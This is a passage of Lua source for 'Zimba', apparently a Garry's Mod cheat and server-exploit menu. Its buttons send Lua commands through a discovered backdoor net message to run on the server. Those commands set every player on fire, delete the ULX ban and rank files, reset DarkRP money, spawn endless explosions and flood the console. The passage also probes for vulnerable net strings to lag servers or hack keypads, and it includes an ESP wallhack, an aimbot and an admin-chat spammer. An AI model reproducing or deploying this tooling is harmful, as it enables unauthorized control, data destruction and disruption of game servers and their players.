  752.     IngiteEveryone:SetText( "Ignite Everyone" )
  753.     IngiteEveryone:SizeToContents()
  754.     IngiteEveryone:SetTall( 25 )
  755.     IngiteEveryone:SetWide( EarRape:GetWide() + 25 )
  756.     IngiteEveryone:SetPos( 370, 250 )
  757.     IngiteEveryone:SetTextColor( Color( 255, 255, 255 ) )
  758.     IngiteEveryone:SetToolTip( "Ignites Everyon on the server." )
  759.     IngiteEveryone.Paint = function( self, w, h )
  760.         DrawBlur(IngiteEveryone, 2)
  761.         draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  762.     IngiteEveryone.DoClick = function()
  763.         SploitNotify("Igniting Everyone")
  764.         surface.PlaySound("garrysmod/ui_click.wav")
  765.         net.Start(netKey)
  766.         net.WriteString( "for k,v in pairs(player.GetAll()) do v:Ignite(120) end" )
  767.         net.WriteBit(1)
  768.         net.SendToServer()
  769.     end
  770. end
  771.  
  772.  
  773. local DeleteBans = vgui.Create( "DButton", BackdoorMenu )
  774.     DeleteBans:SetText( "Delete Bans" )
  775.     DeleteBans:SizeToContents()
  776.     DeleteBans:SetTall( 25 )
  777.     DeleteBans:SetWide( DeleteBans:GetWide() + 20 )
  778.     DeleteBans:SetPos( 480, 250 )
  779.     DeleteBans:SetTextColor( Color( 255, 255, 255 ) )
  780.     DeleteBans:SetToolTip( "Deletes all Bans!" )
  781.     DeleteBans.Paint = function( self, w, h )
  782.         DrawBlur(DeleteBans, 2)
  783.         draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  784.     DeleteBans.DoClick = function()
  785.         SploitNotify("Deleting Bans")
  786.         surface.PlaySound("garrysmod/ui_click.wav")
  787.         net.Start(netKey)
  788.         net.WriteString( "if file.Exists( \"ulib/bans.txt\", \"DATA\" ) then file.Delete(\"ulib/bans.txt\") end" )
  789.         net.WriteBit(1)
  790.         net.SendToServer()
  791.     end
  792. end
  793.  
  794.  
  795. local DeleteRanks = vgui.Create( "DButton", BackdoorMenu )
  796.     DeleteRanks:SetText( "Delete ULX Ranks" )
  797.     DeleteRanks:SizeToContents()
  798.     DeleteRanks:SetTall( 25 )
  799.     DeleteRanks:SetWide( DeleteRanks:GetWide() + 20 )
  800.     DeleteRanks:SetPos( 50, 295 )
  801.     DeleteRanks:SetTextColor( Color( 255, 255, 255 ) )
  802.     DeleteRanks:SetToolTip( "Deletes ULX Groups / Ranks!" )
  803.     DeleteRanks.Paint = function( self, w, h )
  804.         DrawBlur(DeleteRanks, 2)
  805.         draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  806.     DeleteRanks.DoClick = function()
  807.         SploitNotify("Deleting ULX")
  808.         surface.PlaySound("garrysmod/ui_click.wav")
  809.         net.Start(netKey)
  810.         net.WriteString( "if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end" )
  811.         net.WriteBit(1)
  812.         net.SendToServer()
  813.     end
  814. end
  815.  
  816.  
  817. local ResetMoney = vgui.Create( "DButton", BackdoorMenu )
  818.     ResetMoney:SetText( "Reset RP Money" )
  819.     ResetMoney:SizeToContents()
  820.     ResetMoney:SetTall( 25 )
  821.     ResetMoney:SetWide( ResetMoney:GetWide() + 20 )
  822.     ResetMoney:SetPos( 180, 295 )
  823.     ResetMoney:SetTextColor( Color( 255, 255, 255 ) )
  824.     ResetMoney:SetToolTip( "Resets all DarkRP Money" )
  825.     ResetMoney.Paint = function( self, w, h )
  826.         DrawBlur(ResetMoney, 2)
  827.         draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  828.     ResetMoney.DoClick = function()
  829.         SploitNotify("Reseting Money")
  830.         surface.PlaySound("garrysmod/ui_click.wav")
  831.         net.Start(netKey)
  832.         net.WriteString( "rp_resetallmoney")
  833.         net.WriteBit(1)
  834.         net.SendToServer()
  835.     end
  836. end
  837.  
  838.  
  839. local Physics = vgui.Create( "DButton", BackdoorMenu )
  840.     Physics:SetText( "Physics" )
  841.     Physics:SizeToContents()
  842.     Physics:SetTall( 25 )
  843.     Physics:SetWide( Physics:GetWide() + 20 )
  844.     Physics:SetPos( 300, 295 )
  845.     Physics:SetTextColor( Color( 255, 255, 255 ) )
  846.     Physics:SetToolTip( "Changes the physics." )
  847.     Physics.Paint = function( self, w, h )
  848.         DrawBlur(Physics, 2)
  849.         draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  850.     Physics.DoClick = function()
  851.         SploitNotify("Chaning Physics")
  852.         surface.PlaySound("garrysmod/ui_click.wav")
  853.         net.Start(netKey)
  854.         net.WriteString( "sv_friction -8" )
  855.         net.WriteBit(1)
  856.         net.SendToServer()
  857.     end
  858. end
  859.  
  860.  
  861. local ArtilleryStrike = vgui.Create( "DButton", BackdoorMenu )
  862.     ArtilleryStrike:SetText( "Artillery Strike" )
  863.     ArtilleryStrike:SizeToContents()
  864.     ArtilleryStrike:SetTall( 25 )
  865.     ArtilleryStrike:SetWide( ArtilleryStrike:GetWide() + 20 )
  866.     ArtilleryStrike:SetPos( 375, 295 )
  867.     ArtilleryStrike:SetTextColor( Color( 255, 255, 255 ) )
  868.     ArtilleryStrike:SetToolTip( "Bombs drop everywhere." )
  869.     ArtilleryStrike.Paint = function( self, w, h )
  870.         DrawBlur(ArtilleryStrike, 2)
  871.         draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  872.     ArtilleryStrike.DoClick = function()
  873.         SploitNotify("Starting Strike")
  874.         surface.PlaySound("garrysmod/ui_click.wav")
  875.         local strike = "hook.Add(\"Think\", \"bombstrike\", function() \n local explode = ents.Create( \"env_explosion\" ) \n explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) ) explode:Spawn() explode:SetKeyValue( \"iMagnitude\", \"500\" ) explode:Fire( \"Explode\", 0, 0 ) end)"
  876.         net.Start(netKey)
  877.         net.WriteString( strike )
  878.         net.WriteBit(1)
  879.         net.SendToServer()
  880.     end
  881. end
  882.  
  883. local StopArtilleryStrike = vgui.Create( "DButton", BackdoorMenu )
  884.     StopArtilleryStrike:SetText( "Stops Strike" )
  885.     StopArtilleryStrike:SizeToContents()
  886.     StopArtilleryStrike:SetTall( 25 )
  887.     StopArtilleryStrike:SetWide( StopArtilleryStrike:GetWide() + 20 )
  888.     StopArtilleryStrike:SetPos( 480, 295 )
  889.     StopArtilleryStrike:SetTextColor( Color( 255, 255, 255 ) )
  890.     StopArtilleryStrike:SetToolTip( "Stops Artillery Strike" )
  891.     StopArtilleryStrike.Paint = function( self, w, h )
  892.         DrawBlur(StopArtilleryStrike, 2)
  893.         draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  894.     StopArtilleryStrike.DoClick = function()
  895.         SploitNotify("Stopping Strike")
  896.         surface.PlaySound("garrysmod/ui_click.wav")
  897.         net.Start(netKey)
  898.         net.WriteString( "hook.Remove( \"Think\" ,\"bombstrike\")" )
  899.         net.WriteBit(1)
  900.         net.SendToServer()
  901.     end
  902. end
  903.  
  904.  
  905. local FloodConsole = vgui.Create( "DButton", BackdoorMenu )
  906.     FloodConsole:SetText( "Flood Console" )
  907.     FloodConsole:SizeToContents()
  908.     FloodConsole:SetTall( 25 )
  909.     FloodConsole:SetWide( FloodConsole:GetWide() + 20 )
  910.     FloodConsole:SetPos( 50, 340 )
  911.     FloodConsole:SetTextColor( Color( 255, 255, 255 ) )
  912.     FloodConsole:SetToolTip( "Floods Server Console" )
  913.     FloodConsole.Paint = function( self, w, h )
  914.         DrawBlur(FloodConsole, 2)
  915.         draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  916.     FloodConsole.DoClick = function()
  917.         SploitNotify("Flooding Console")
  918.         surface.PlaySound("garrysmod/ui_click.wav")
  919.         net.Start(netKey)
  920.         net.WriteString( "timer.Create( \"adminsgonnahate\", 0.05, 0, function() print(\"0100101001001010101001011010101010001010101001010100100010101010111000110010101001010010010101010010110101010100010101010010101001000101010101110001100101010010100100101010100101101010101000101010100101010010001010101011100011001010100101001001010101001011010101010001010101001010100100010101010111000110010101001010010010101010010110101010100010101010010101001000101010101110001100101010010100100101010100101101010101000101010100101010010001010101011100011001010100101001001010101001011010101010001010101001010100100010101010111000110010101001010010010101010010110101010100010101010010101001000101010101110001100101\") end )" )
  921.         net.WriteBit(1)
  922.         net.SendToServer()
  923.     end
  924. end
  925.  
  926.  
  927. ------------------------------
  928. --         MISC DERMA       --
  929. ------------------------------
  930.  
  931.  
  932. local MiscMenu = vgui.Create( "DFrame" )
  933. MiscMenu:SetSize( 630, 450 )
  934. MiscMenu:SetVisible( true )
  935. MiscMenu:SetDraggable( false )
  936. MiscMenu:ShowCloseButton( false )
  937. MiscMenu:Center()
  938. MiscMenu:SetTitle("")
  939. MiscMenu:MakePopup()
  940. MiscMenu.Paint = function( self, w, h )
  941.     DrawBlur(MiscMenu, 2)
  942.     draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 85))
  943.     draw.RoundedBox(0, 2, 2, w - 4, h / 9, Color(0,0,0,125))
  944.     draw.SimpleText( "Zimba Misc Menu", "Title", MiscMenu:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
  945. end
  946.  
  947.  
  948. local MiscMenuClose = vgui.Create( "DButton", MiscMenu )
  949. MiscMenuClose:SetSize( 35, 35 )
  950. MiscMenuClose:SetPos( MiscMenu:GetWide() - 36,9 )
  951. MiscMenuClose:SetText( "X" )
  952. MiscMenuClose:SetFont( "Default" )
  953. MiscMenuClose:SetTextColor( Color( 255, 255, 255 ) )
  954. MiscMenuClose.Paint = function()
  955.  
  956. end
  957. MiscMenuClose.DoClick = function()
  958.     CloseEverything()
  959. end
  960.  
  961.  
  962.  
  963.  
  964.  
  965. local MiscMenuPanelList = vgui.Create( "DScrollPanel", MiscMenu )
  966. MiscMenuPanelList:Dock( FILL )
  967.  
  968.  
  969.  
  970. ------------------------------
  971. --      MISC NOCLIP #1      --
  972. ------------------------------
  973.  
  974. local ClientSideNoclip = MiscMenuPanelList:Add( "DButton" )
  975. ClientSideNoclip:SetText( "Toggle Noclip")
  976. ClientSideNoclip:Dock( TOP )
  977. ClientSideNoclip:DockMargin( 0, 50, 0, 5 )
  978. ClientSideNoclip:SetTextColor( Color( 255, 255, 255 ) )
  979. ClientSideNoclip.Paint = function( self, w, h )
  980.     DrawBlur(ClientSideNoclip, 2)
  981.     draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  982.     end
  983. ClientSideNoclip.DoClick = function()
  984.     surface.PlaySound("garrysmod/ui_click.wav")
  985.     SploitNotify("Noclip Enabled")
  986.     ply:ConCommand( "zimba_toggle_noclip" )
  987. end
  988.  
  989. ------------------------------
  990. --      MISC AIMBOT #2      --
  991. ------------------------------
  992.  
  993. local Aimbott = MiscMenuPanelList:Add( "DButton" )
  994. Aimbott:SetText( "Toggle Aimbot")
  995. Aimbott:Dock( TOP )
  996. Aimbott:DockMargin( 0, 0, 0, 5 )
  997. Aimbott:SetTextColor( Color( 255, 255, 255 ) )
  998. Aimbott.Paint = function( self, w, h )
  999.     DrawBlur(Aimbott, 2)
  1000.     draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  1001.     end
  1002. Aimbott.DoClick = function()
  1003.     surface.PlaySound("garrysmod/ui_click.wav")
  1004.     SploitNotify("Aimbot Enabled")
  1005.     ply:ConCommand( "zimba_toggle_aimbot" )
  1006. end
  1007.  
  1008.  
  1009. ------------------------------
  1010. --    MISC SPAMADMINS #3    --
  1011. ------------------------------
  1012.  
  1013. local SpamAdminChat = MiscMenuPanelList:Add( "DButton" )
  1014. SpamAdminChat:SetText( "Spam Admins")
  1015. SpamAdminChat:Dock( TOP )
  1016. SpamAdminChat:DockMargin( 0, 0, 0, 5 )
  1017. SpamAdminChat:SetTextColor( Color( 255, 255, 255 ) )
  1018. SpamAdminChat.Paint = function( self, w, h )
  1019.     DrawBlur(SpamAdminChat, 2)
  1020.     draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  1021.     end
  1022. SpamAdminChat.DoClick = function()
  1023.     surface.PlaySound("garrysmod/ui_click.wav")
  1024.     ply:ConCommand( "zimba_toggle_admin_spam" )
  1025. end
  1026.  
  1027.  
  1028.  
  1029. ------------------------------
  1030. --      EXPLOIT DERMA       --
  1031. ------------------------------
  1032.  
  1033. local ExploitMenu = vgui.Create( "DFrame" )
  1034. ExploitMenu:SetSize( 630, 450 )
  1035. ExploitMenu:SetVisible( true )
  1036. ExploitMenu:SetDraggable( false )
  1037. ExploitMenu:ShowCloseButton( false )
  1038. ExploitMenu:Center()
  1039. ExploitMenu:SetTitle("")
  1040. ExploitMenu:MakePopup()
  1041. ExploitMenu.Paint = function( self, w, h )
  1042.     DrawBlur(ExploitMenu, 2)
  1043.     draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 85))
  1044.     draw.RoundedBox(0, 2, 2, w - 4, h / 9, Color(0,0,0,125))
  1045.     draw.SimpleText( "Zimba Exploit Menu", "Title", ExploitMenu:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
  1046. end
  1047.  
  1048.  
  1049. local ExploitMenuClose = vgui.Create( "DButton", ExploitMenu )
  1050. ExploitMenuClose:SetSize( 35, 35 )
  1051. ExploitMenuClose:SetPos( ExploitMenu:GetWide() - 36,9 )
  1052. ExploitMenuClose:SetText( "X" )
  1053. ExploitMenuClose:SetFont( "Default" )
  1054. ExploitMenuClose:SetTextColor( Color( 255, 255, 255 ) )
  1055. ExploitMenuClose.Paint = function()
  1056.  
  1057. end
  1058. ExploitMenuClose.DoClick = function()
  1059.     CloseEverything()
  1060. end
  1061.  
  1062.  
  1063. local ExpolitPanelList = vgui.Create( "DScrollPanel", ExploitMenu )
  1064. ExpolitPanelList:Dock( FILL )
  1065.  
  1066.  
  1067.  
  1068. ------------------------------
  1069. --       EXPLOIT #1         --
  1070. ------------------------------
  1071.  
  1072. local status = ValidNetString("properties")
  1073.     if (status) then
  1074.  
  1075.     totalExploits = 1 + totalExploits
  1076.  
  1077.     local StripWeapons = ExpolitPanelList:Add( "DButton" )
  1078.     StripWeapons:SetText( "Strip Everyones Weapons")
  1079.     StripWeapons:Dock( TOP )
  1080.     StripWeapons:DockMargin( 0, 50, 0, 5 )
  1081.     StripWeapons:SetTextColor( Color( 255, 255, 255 ) )
  1082.     StripWeapons.Paint = function( self, w, h )
  1083.         DrawBlur(StripWeapons, 2)
  1084.         draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  1085.     end
  1086.     StripWeapons.DoClick = function()
  1087.         removeAll()
  1088.         surface.PlaySound("garrysmod/ui_click.wav")
  1089.         SploitNotify("Stripping Weapons")
  1090.     end
  1091.     print("[ZIMBA] Found Exploit: Strip Everyones Weapons *Sometimes Works*")
  1092. end
  1093.  
  1094. ------------------------------
  1095. --       EXPLOIT #2         --
  1096. ------------------------------
  1097.  
  1098. local status = ValidNetString("start_wd_emp")
  1099.     if (status) then
  1100.  
  1101.     totalExploits = 1 + totalExploits
  1102.  
  1103.     local HackKeypads = ExpolitPanelList:Add( "DButton" )
  1104.     HackKeypads:SetText( "Hack Keypads")
  1105.     HackKeypads:Dock( TOP )
  1106.     HackKeypads:DockMargin( 0, 0, 0, 5 )
  1107.     HackKeypads:SetTextColor( Color( 255, 255, 255 ) )
  1108.     HackKeypads.Paint = function( self, w, h )
  1109.         DrawBlur(HackKeypads, 2)
  1110.         draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  1111.     end
  1112.     HackKeypads.DoClick = function()
  1113.         HackKeypad()
  1114.         surface.PlaySound("garrysmod/ui_click.wav")
  1115.         SploitNotify("Hacking Keypads")
  1116.     end
  1117.     print("[ZIMBA] Found Exploit: Hack Keypad")
  1118. end
  1119.  
  1120.  
  1121. ------------------------------
  1122. --       EXPLOIT #3         --
  1123. ------------------------------
  1124.  
  1125. local status = ValidNetString("egg")
  1126.     if (status) then
  1127.  
  1128.     totalExploits = 1 + totalExploits
  1129.  
  1130.     local GiveEasterEgg1 = ExpolitPanelList:Add( "DButton" )
  1131.     GiveEasterEgg1:SetText( "Give Easter Egg")
  1132.     GiveEasterEgg1:Dock( TOP )
  1133.     GiveEasterEgg1:DockMargin( 0, 0, 0, 5 )
  1134.     GiveEasterEgg1:SetTextColor( Color( 255, 255, 255 ) )
  1135.     GiveEasterEgg1.Paint = function( self, w, h )
  1136.         DrawBlur(GiveEasterEgg1, 2)
  1137.         draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  1138.     end
  1139.     GiveEasterEgg1.DoClick = function()
  1140.         GiveEasterEgg1()
  1141.         surface.PlaySound("garrysmod/ui_click.wav")
  1142.         SploitNotify("Hacking Keypads")
  1143.     end
  1144.     print("[ZIMBA] Found Exploit: Give Easter Egg")
  1145. end
  1146.  
  1147.  
  1148. ------------------------------
  1149. --       EXPLOIT #4         --
  1150. ------------------------------
  1151.  
  1152.  
  1153. local status = ValidNetString("steamid2")
  1154.     if (status) then
  1155.  
  1156.     totalExploits = 1 + totalExploits
  1157.  
  1158.     local Lagger1 = ExpolitPanelList:Add( "DButton" )
  1159.     Lagger1:SetText( "Lagger #1")
  1160.     Lagger1:Dock( TOP )
  1161.     Lagger1:DockMargin( 0, 0, 0, 5 )
  1162.     Lagger1:SetTextColor( Color( 255, 255, 255 ) )
  1163.     Lagger1.Paint = function( self, w, h )
  1164.         DrawBlur(Lagger1, 2)
  1165.         draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  1166.     end
  1167.     Lagger1.DoClick = function()
  1168.         Lagger1()
  1169.         surface.PlaySound("garrysmod/ui_click.wav")
  1170.         SploitNotify("Starting Lagger #1")
  1171.     end
  1172.     print("[ZIMBA] Found Exploit: Lagger #1")
  1173. end
  1174.  
  1175.  
  1176. ------------------------------
  1177. --       EXPLOIT #5         --
  1178. ------------------------------
  1179.  
  1180.  
  1181. local status = ValidNetString("bodyman_model_change")
  1182.     if (status) then
  1183.  
  1184.     totalExploits = 1 + totalExploits
  1185.  
  1186.     local ModelChanger = ExpolitPanelList:Add( "DButton" )
  1187.     ModelChanger:SetText( "Model Changer")
  1188.     ModelChanger:Dock( TOP )
  1189.     ModelChanger:DockMargin( 0, 0, 0, 5 )
  1190.     ModelChanger:SetTextColor( Color( 255, 255, 255 ) )
  1191.     ModelChanger.Paint = function( self, w, h )
  1192.         DrawBlur(ModelChanger, 2)
  1193.         draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  1194.     end
  1195.     ModelChanger.DoClick = function()
  1196.         ply:ConCommand( "zimba_toggle_model_changer" )
  1197.         surface.PlaySound("garrysmod/ui_click.wav")
  1198.         SploitNotify("Starting Model Changer")
  1199.     end
  1200.     print("[ZIMBA] Found Exploit: Model Changer")
  1201. end
  1202.  
  1203.  
  1204.  
  1205.  
  1206.  
  1207.  
  1208. ------------------------------
  1209. --      Chat Commands       --
  1210. ------------------------------
  1211.  
  1212. hook.Add( "OnPlayerChat", "ChatCommands", function( ply, strText, bTeam, bDead )
  1213.     strText = string.lower( strText )
  1214.     if ( strText == "!zimbamenu" ) then
  1215.         Zimba:Show()
  1216.         ZimbaCategories:Show()
  1217.         SploitNotify("Loading Menu")
  1218.         return true
  1219.     end
  1220.     if ( strText == "!zimbanoclip" ) then
  1221.         SploitNotify("Noclip Enabled")
  1222.         ply:ConCommand( "zimba_toggle_noclip" )
  1223.         return true
  1224.     end
  1225.     if ( strText == "!zimbaaimbot" ) then
  1226.         SploitNotify("Aimbot Enabled")
  1227.         ply:ConCommand( "zimba_toggle_aimbot" )
  1228.         return true
  1229.     end
  1230. end )
  1231.  
  1232. ------------------------------
  1233. --          ESP             --
  1234. ------------------------------
  1235. local function coordinates( ent )
  1236. local min, max = ent:OBBMins(), ent:OBBMaxs()
  1237. local corners = {
  1238.         Vector( min.x, min.y, min.z ),
  1239.         Vector( min.x, min.y, max.z ),
  1240.         Vector( min.x, max.y, min.z ),
  1241.         Vector( min.x, max.y, max.z ),
  1242.         Vector( max.x, min.y, min.z ),
  1243.         Vector( max.x, min.y, max.z ),
  1244.         Vector( max.x, max.y, min.z ),
  1245.         Vector( max.x, max.y, max.z )
  1246. }
  1247.  
  1248. local minX, minY, maxX, maxY = ScrW() * 2, ScrH() * 2, 0, 0
  1249. for _, corner in pairs( corners ) do
  1250.         local onScreen = ent:LocalToWorld( corner ):ToScreen()
  1251.         minX, minY = math.min( minX, onScreen.x ), math.min( minY, onScreen.y )
  1252.         maxX, maxY = math.max( maxX, onScreen.x ), math.max( maxY, onScreen.y )
  1253. end
  1254.  
  1255. return minX, minY, maxX, maxY
  1256. end
  1257.  
  1258. hook.Add("HUDPaint", "ESP", function()
  1259.  
  1260. for k,v in pairs(player.GetAll()) do
  1261.         local x1,y1,x2,y2 = coordinates(v)
  1262.          surface.SetDrawColor(color_white)
  1263.  
  1264.  
  1265.         surface.DrawLine( x1, y1, math.min( x1 + 5, x2 ), y1 )
  1266.         surface.DrawLine( x1, y1, x1, math.min( y1 + 5, y2 ) )
  1267.  
  1268.  
  1269.         surface.DrawLine( x2, y1, math.max( x2 - 5, x1 ), y1 )
  1270.         surface.DrawLine( x2, y1, x2, math.min( y1 + 5, y2 ) )
  1271.  
  1272.  
  1273.         surface.DrawLine( x1, y2, math.min( x1 + 5, x2 ), y2 )
  1274.         surface.DrawLine( x1, y2, x1, math.max( y2 - 5, y1 ) )
  1275.  
  1276.  
  1277.         surface.DrawLine( x2, y2, math.max( x2 - 5, x1 ), y2 )
  1278.         surface.DrawLine( x2, y2, x2, math.max( y2 - 5, y1 ) )
  1279.             if v ~= LocalPlayer() and v:Alive() then
  1280.             local esppos = v:EyePos():ToScreen()
  1281.             if(v:GetUserGroup() ~= "user" or v:GetUserGroup() ~= "guest") then
  1282.                 draw.SimpleText( "[".. v:GetUserGroup() .. "]" .. v:Nick(), "ESP", esppos.x, esppos.y, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_TOP)
  1283.                 draw.SimpleText( "Health: " .. v:Health(), "ESP", esppos.x, esppos.y, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_BOTTOM)
  1284.             end
  1285.         end
  1286.     end
  1287. end)
  1288.  
  1289. ------------------------------
  1290. --          AIMBOT          --
  1291. ------------------------------
  1292.  
  1293. local AB = {}
  1294. AB.Enabled = false
  1295.  
  1296. function Aimbot()
  1297.     if ( !AB.Enabled ) then return end
  1298.         local ply = LocalPlayer()
  1299.         local trace = util.GetPlayerTrace( ply )
  1300.         local traceRes = util.TraceLine( trace )
  1301.         if traceRes.HitNonWorld then
  1302.         local target = traceRes.Entity
  1303.         if target:IsPlayer() then
  1304.         local targethead = target:LookupBone("ValveBiped.Bip01_Head1")
  1305.         local targetheadpos,targetheadang = target:GetBonePosition(targethead)
  1306.         ply:SetEyeAngles((targetheadpos - ply:GetShootPos()):Angle())
  1307.         end
  1308.     end
  1309. end
  1310. hook.Add("Think","aimbot",Aimbot)
  1311.    
  1312. function AB.Toggle()
  1313.     AB.Enabled = !AB.Enabled
  1314.     AB.LockView = AB.Enabled
  1315.     AB.SetView = true
  1316.  
  1317.     local status = { [ true ] = "ON", [ false ] = "OFF" }
  1318.     SploitNotify("Aimbot: " .. status[ AB.Enabled ])
  1319. end
  1320. concommand.Add( "zimba_toggle_aimbot", AB.Toggle )
  1321.  
  1322.  
  1323. ------------------------------
  1324. --       SPAM ADMINS        --
  1325. ------------------------------
  1326.  
  1327. function AdminSpammerOpen()
  1328.  
  1329.     local AdminSpammer = vgui.Create( "DFrame" )
  1330.     AdminSpammer:SetPos( 5, 5 )
  1331.     AdminSpammer:SetSize( 285, 160 )
  1332.     AdminSpammer:SetVisible( true )
  1333.     AdminSpammer:SetTitle("")
  1334.     AdminSpammer:SetDraggable( false )
  1335.     AdminSpammer:ShowCloseButton( false )
  1336.     AdminSpammer:MakePopup()
  1337.     AdminSpammer:Center()
  1338.     AdminSpammer.Paint = function( self, w, h )
  1339.         DrawBlur(AdminSpammer, 2)
  1340.         draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 85))
  1341.         draw.RoundedBox(0, 2, 2, w - 4, h / 4, Color(0,0,0,125))
  1342.         draw.SimpleText( "Admin Chat Spammer", "Title", AdminSpammer:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
  1343.     end
  1344.  
  1345.     local AdminSpammerClose = vgui.Create( "DButton", AdminSpammer )
  1346.     AdminSpammerClose:SetSize( 35, 35 )
  1347.     AdminSpammerClose:SetPos( AdminSpammerClose:GetWide() - -220,3 )
  1348.     AdminSpammerClose:SetText( "X" )
  1349.     AdminSpammerClose:SetFont( "Default" )
  1350.     AdminSpammerClose:SetTextColor( Color( 255, 255, 255 ) )
  1351.     AdminSpammerClose.Paint = function()
  1352.            
  1353.     end
  1354.     AdminSpammerClose.DoClick = function()
  1355.         AdminSpammer:Hide()
  1356.     end
  1357.  
  1358.     local AdminChatSpammerTextEntry = vgui.Create( "DTextEntry", AdminSpammer ) -- create the form as a child of frame
  1359.     AdminChatSpammerTextEntry:SetPos( 35, 60 )
  1360.     AdminChatSpammerTextEntry:SetSize( 215, 20 )
  1361.     AdminChatSpammerTextEntry:SetText( "" )
  1362.     AdminChatSpammerTextEntry.OnEnter = function( self )
  1363.         chat.AddText( self:GetValue() ) -- print the form's text as server text
  1364.     end
  1365.  
  1366.     local StartAdminSpammer = vgui.Create( "DButton", AdminSpammer )
  1367.     StartAdminSpammer:SetText( "Start Spammer" )
  1368.     StartAdminSpammer:SizeToContents()
  1369.     StartAdminSpammer:SetTall( 25 )
  1370.     StartAdminSpammer:SetWide( 100 )
  1371.     StartAdminSpammer:SetPos( 35, 100 )
  1372.     StartAdminSpammer:SetTextColor( Color( 255, 255, 255 ) )
  1373.     StartAdminSpammer:SetToolTip( "Checks the hack Client Version." )
  1374.     StartAdminSpammer.Paint = function( self, w, h )
  1375.  
  1376.         draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  1377.     end
  1378.     StartAdminSpammer.DoClick = function()
  1379.         StartAdminSpammer()
  1380.     end
  1381.  
  1382.     local StopAdminSpammer = vgui.Create( "DButton", AdminSpammer )
  1383.     StopAdminSpammer:SetText( "Stop Spammer" )
  1384.     StopAdminSpammer:SizeToContents()
  1385.     StopAdminSpammer:SetTall( 25 )
  1386.     StopAdminSpammer:SetWide( 100 )
  1387.     StopAdminSpammer:SetPos( 150, 100 )
  1388.     StopAdminSpammer:SetTextColor( Color( 255, 255, 255 ) )
  1389.     StopAdminSpammer:SetToolTip( "Checks the hack Client Version." )
  1390.     StopAdminSpammer.Paint = function( self, w, h )
  1391.  
  1392.         draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  1393.     end
  1394.     StopAdminSpammer.DoClick = function()
  1395.         StopAdminSpammer()
  1396.     end
  1397.  
  1398.  
  1399.     -- Spammer Functions
  1400.     function StartAdminSpammer()
  1401.         timer.Create( "StartAdminSpammer", 0, 0, function()
  1402.             for i = 1, 100 do
  1403.             RunConsoleCommand( "ulx", "asay", AdminChatSpammerTextEntry:GetValue() )
  1404.             end
  1405.         end)
  1406.         SploitNotify("Spamming Admins")
  1407.         surface.PlaySound("garrysmod/ui_click.wav")
  1408.     end
  1409.  
  1410.     function StopAdminSpammer()
  1411.         timer.Destroy("StartAdminSpammer")
  1412.         SploitNotify("Stopped Spamming")
  1413.         surface.PlaySound("garrysmod/ui_click.wav")
  1414.     end
  1415. end
  1416. concommand.Add( "zimba_toggle_admin_spam", AdminSpammerOpen )
  1417.  
  1418.  
  1419.  
  1420.  
  1421.  
  1422.  
  1423. ------------------------------
  1424. --        Other Stuff       --
  1425. ------------------------------
  1426. playSound("http://skydarkrp.com/zimba/zimba.mp3")
  1427. SploitNotify("Welcome " .. ply:GetName())
  1428.  
  1429. Zimba:Hide()
  1430. ZimbaCategories:Hide()
  1431. ExploitMenu:Hide()
  1432. MiscMenu:Hide()
  1433. BackdoorMenu:Hide()
  1434.  
  1435. function CloseEverything()
  1436.     Zimba:Hide()
  1437.     ZimbaCategories:Hide()
  1438.     ExploitMenu:Hide()
  1439.     MiscMenu:Hide()
  1440.     BackdoorMenu:Hide()
  1441. end
  1442.  
  1443. function closealltabs()
  1444.     Zimba:Hide()
  1445.     ExploitMenu:Hide()
  1446.     MiscMenu:Hide()
  1447.     BackdoorMenu:Hide()
  1448. end
  1449.  
  1450. function OpenZimbaMenu()
  1451.     Zimba:Show()
  1452.     ZimbaCategories:Show()
  1453. end
  1454.  
  1455. function OpenExploitMenu()
  1456.     ExploitMenu:Show()
  1457. end
  1458.  
  1459. function OpenMiscMenu()
  1460.     MiscMenu:Show()
  1461. end
  1462.  
  1463. function OpenBackdoor()
  1464.     BackdoorMenu:Show()
  1465. end
  1466.  
  1467.  
  1468.  
  1469.  
  1470. ------------------------------
  1471. --     Check Backdoors      --
  1472. ------------------------------
  1473.  
  1474. function checkbackdoors()
  1475.     if( ValidNetString("memeDoor") ) then
  1476.         BackdoorsFound = 1 + BackdoorsFound
  1477.         chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 255, 255 )," Found Backdoor! - memeDoor" )
  1478.         netKey = "memeDoor"
  1479.     else
  1480.         chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 0, 0 )," Backdoor Not Found - memeDoor!" )
  1481.     end
